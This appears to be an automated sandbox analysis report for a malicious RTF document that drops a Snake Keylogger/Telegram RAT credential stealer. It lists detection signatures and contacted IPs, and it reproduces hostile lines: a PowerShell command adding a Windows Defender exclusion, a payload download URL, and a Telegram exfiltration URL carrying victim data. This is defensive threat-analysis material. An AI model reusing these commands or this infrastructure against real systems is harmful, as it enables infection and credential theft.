Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3088 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, COVID19.cs Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wealthcharliebgk.exe"
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wealthcharliebgk.exe" Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory written: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe "C:\Users\user\AppData\Roaming\wealthcharliebgk.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wealthcharliebgk.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process created: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe "C:\Users\user\AppData\Roaming\wealthcharliebgk.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Queries volume information: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Queries volume information: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000008.00000002.876070304.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 5.2.wealthcharliebgk.exe.3670430.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.362d410.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wealthcharliebgk.exe PID: 3756, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: wealthcharliebgk.exe PID: 3860, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 5.2.wealthcharliebgk.exe.3670430.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.362d410.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wealthcharliebgk.exe PID: 3756, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: wealthcharliebgk.exe PID: 3860, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 5.2.wealthcharliebgk.exe.3670430.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.362d410.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wealthcharliebgk.exe PID: 3756, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: wealthcharliebgk.exe PID: 3860, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000008.00000002.876070304.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 5.2.wealthcharliebgk.exe.3670430.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.362d410.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wealthcharliebgk.exe PID: 3756, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: wealthcharliebgk.exe PID: 3860, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 5.2.wealthcharliebgk.exe.3670430.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.362d410.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wealthcharliebgk.exe PID: 3756, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: wealthcharliebgk.exe PID: 3860, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1558704 Sample: Xkl0PnD8zFPjfh1.wiz.rtf Startdate: 19/11/2024 Architecture: WINDOWS Score: 100 46 Initial sample is an obfuscated RTF file 2->46 48 Suricata IDS alerts for network traffic 2->48 50 Found malware configuration 2->50 52 25 other signatures 2->52 8 WINWORD.EXE 291 18 2->8         started        process3 process4 10 EQNEDT32.EXE 11 8->10         started        15 EQNEDT32.EXE 8->15         started        dnsIp5 36 87.120.84.39, 49161, 80 SHARCOM-ASBG Bulgaria 10->36 26 C:\Users\user\...\wealthcharliebgk.exe, PE32 10->26 dropped 28 C:\Users\user\...\Xkl0PnD8zFPjfh1[1].exe, PE32 10->28 dropped 64 Office equation editor establishes network connection 10->64 66 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 10->66 17 wealthcharliebgk.exe 1 8 10->17         started        file6 signatures7 process8 signatures9 38 Antivirus detection for dropped file 17->38 40 Multi AV Scanner detection for dropped file 17->40 42 Machine Learning detection for dropped file 17->42 44 2 other signatures 17->44 20 wealthcharliebgk.exe 12 2 17->20         started        24 powershell.exe 4 17->24         started        process10 dnsIp11 30 reallyfreegeoip.org 20->30 32 api.telegram.org 20->32 34 8 other IPs or domains 20->34 54 Installs new ROOT certificates 20->54 56 Tries to steal Mail credentials (via file / registry access) 20->56 58 Tries to harvest and steal browser information (history, passwords, etc) 20->58 signatures12 60 Tries to detect the country of the analysis system (by using the IP) 30->60 62 Uses the Telegram API (likely for C&C communication) 32->62
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
132.226.8.169
 unknown United States
16989 UTMEMUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU false
188.114.97.3
 reallyfreegeoip.org European Union
13335 CLOUDFLARENETUS false
87.120.84.39
 unknown Bulgaria
51189 SHARCOM-ASBG true
188.114.96.3
 unknown European Union
13335 CLOUDFLARENETUS false
193.122.130.0
 checkip.dyndns.com United States
31898 ORACLE-BMC-31898US false
158.101.44.242
 unknown United States
31898 ORACLE-BMC-31898US false
132.226.247.73
 unknown United States
16989 UTMEMUS false

Contacted Domains

Name IP Active
reallyfreegeoip.org 188.114.97.3 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 193.122.130.0 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://reallyfreegeoip.org/xml/8.46.123.75 false
    		high
    https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20and%20Time:%2011/20/2024%20/%201:09:14%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20878411%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
      		high
      http://checkip.dyndns.org/ false
        		high
        http://87.120.84.39/txt/Xkl0PnD8zFPjfh1.exe true
        • Avira URL Cloud: safe
        		 unknown